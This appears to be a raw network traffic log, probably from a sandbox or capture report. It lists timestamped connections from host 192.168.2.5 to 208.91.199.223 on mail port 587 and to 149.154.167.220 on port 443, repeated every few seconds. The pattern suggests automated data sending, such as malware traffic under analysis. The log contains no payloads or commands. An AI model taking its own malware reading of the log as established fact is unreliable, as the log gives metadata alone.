Sep 19, 2024 12:22:45.783709049 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:45.786098003 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:45.786129951 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:45.786186934 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:45.786708117 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:45.786722898 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:45.788995981 CEST	587	61569	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:45.789052010 CEST	61569	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:46.068929911 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.073854923 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.073878050 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.073945999 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.073955059 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.368233919 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.368423939 CEST	443	61570	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.368536949 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.369115114 CEST	61570	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.372051001 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:46.376919985 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:46.384042978 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:46.393316031 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.398694038 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.398718119 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.398850918 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.398858070 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.691082954 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.691178083 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.695399046 CEST	443	61571	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:46.695560932 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.700067043 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:46.700218916 CEST	61571	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:46.705128908 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:46.705387115 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:46.929169893 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:46.929306030 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:46.934191942 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.083754063 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.083988905 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:47.088865995 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.240807056 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.241110086 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:47.245932102 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.253108978 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.253252983 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:47.258140087 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.407512903 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.407696009 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:47.412549019 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.564616919 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:47.564843893 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:47.570013046 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.089854956 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.089870930 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.090012074 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.090048075 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.094983101 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.094991922 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.416882038 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.416893959 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.417052031 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.417118073 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.423656940 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.424149990 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.589807034 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.590042114 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.593099117 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:49.593180895 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:49.593245983 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:49.593501091 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.593534946 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:49.593556881 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:49.593715906 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.595184088 CEST	587	61572	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.595242977 CEST	61572	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:49.596383095 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:49.596461058 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:49.596520901 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:49.596750975 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:49.596803904 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:49.598793983 CEST	587	61573	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:49.598853111 CEST	61573	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:50.205452919 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.208086967 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.208151102 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.208295107 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.208316088 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.231879950 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.235769987 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.235860109 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.239574909 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.239614010 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.617604017 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.617679119 CEST	443	61575	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.617821932 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.617940903 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.618130922 CEST	443	61574	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:50.618168116 CEST	61575	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.618252039 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.618587017 CEST	61574	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:50.619453907 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:50.619455099 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:50.624308109 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:50.624321938 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:50.624608040 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:50.624610901 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.169150114 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.171051979 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.175952911 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.182848930 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.184639931 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.189480066 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.331883907 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.340090036 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.343743086 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.348615885 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.351624966 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.356544018 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.500458002 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.500710964 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.505595922 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.509391069 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:51.509663105 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:51.514683962 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.092411041 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.092621088 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.097569942 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.248186111 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.248317957 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.253211975 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.430733919 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.430994034 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.434554100 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:53.434618950 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:53.434688091 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:53.434956074 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:53.434992075 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:53.436089039 CEST	587	61576	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.436151981 CEST	61576	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.517777920 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.517929077 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.522769928 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.674249887 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.674405098 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.679189920 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.847511053 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.847733021 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:53.849885941 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:53.849922895 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:53.849976063 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:53.850179911 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:53.850188971 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:53.853147030 CEST	587	61577	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:53.853198051 CEST	61577	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:54.074121952 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.079086065 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.079138994 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.079469919 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.079483986 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.390808105 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.390892982 CEST	443	61578	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.391067028 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.392059088 CEST	61578	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.392793894 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:54.397572041 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:54.400171041 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:54.453123093 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.454730988 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.454752922 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.455444098 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.455447912 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.743760109 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.743825912 CEST	443	61579	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:54.744165897 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.748075962 CEST	61579	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:54.748115063 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:54.755928040 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:54.756206989 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:54.949362040 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:54.949599981 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:54.954463959 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.104407072 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.104754925 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:55.109658003 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.261563063 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.261810064 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:55.267066956 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.315076113 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.315206051 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:55.320086002 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.472495079 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.472634077 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:55.477516890 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.632110119 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:55.632457018 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:55.637336016 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.095818043 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.095990896 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.101725101 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.252223969 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.252358913 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.257210016 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.423799992 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.424016953 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.427284002 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:57.427347898 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:57.427439928 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:57.427697897 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:57.427726030 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:57.430219889 CEST	587	61580	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.430274963 CEST	61580	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.516980886 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.518820047 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.523657084 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.675822973 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.675935030 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.680800915 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.850164890 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.850677013 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:57.852714062 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:57.852752924 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:57.852813005 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:57.853931904 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:57.853944063 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:57.855830908 CEST	587	61581	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:57.856753111 CEST	61581	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:58.038971901 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.046583891 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.046662092 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.054259062 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.054266930 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.355984926 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.356045961 CEST	443	61582	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.358954906 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.358954906 CEST	61582	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.362751961 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:58.368186951 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:58.370529890 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:58.469126940 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.475409985 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.475423098 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.481055975 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.481062889 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.771811962 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.771996021 CEST	443	61583	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:58.772109985 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.772753000 CEST	61583	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:58.774621964 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:58.779526949 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:58.779771090 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:58.917659044 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:58.918453932 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:58.923625946 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.072770119 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.072951078 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:59.077984095 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.230300903 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.230489016 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:59.236504078 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.320465088 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.320708036 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:59.326682091 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.475060940 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.475291967 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:59.480266094 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.631169081 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:59.631464958 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:59.636373997 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.745038986 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.745058060 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.745069981 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.745079041 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.745137930 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:01.745138884 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:01.745377064 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:01.745385885 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:01.750603914 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.750616074 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.901344061 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.902329922 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.914429903 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:01.914556980 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:01.919373035 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:01.919449091 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:02.086132050 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:02.090028048 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:02.095504045 CEST	587	61584	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:02.097554922 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:02.102515936 CEST	61584	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:02.106384039 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.106417894 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.106417894 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:02.106452942 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.106534004 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.107073069 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.107074976 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.111430883 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.111433983 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.111473083 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.111473083 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.111908913 CEST	587	61585	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:02.112119913 CEST	61585	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:02.722320080 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.724191904 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.724241018 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.724714041 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.724729061 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.727413893 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.729820967 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.729885101 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:02.730439901 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:02.730454922 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:03.121648073 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:03.121747971 CEST	443	61587	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:03.121818066 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:03.122210979 CEST	61587	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:03.123434067 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.128243923 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.128299952 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.156748056 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:03.156845093 CEST	443	61586	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:03.156892061 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:03.157294989 CEST	61586	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:03.158432961 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.163209915 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.163273096 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.693058014 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.693173885 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.698005915 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.704713106 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.704821110 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.709662914 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.920624018 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.920643091 CEST	587	61589	208.91.199.223	192.168.2.5
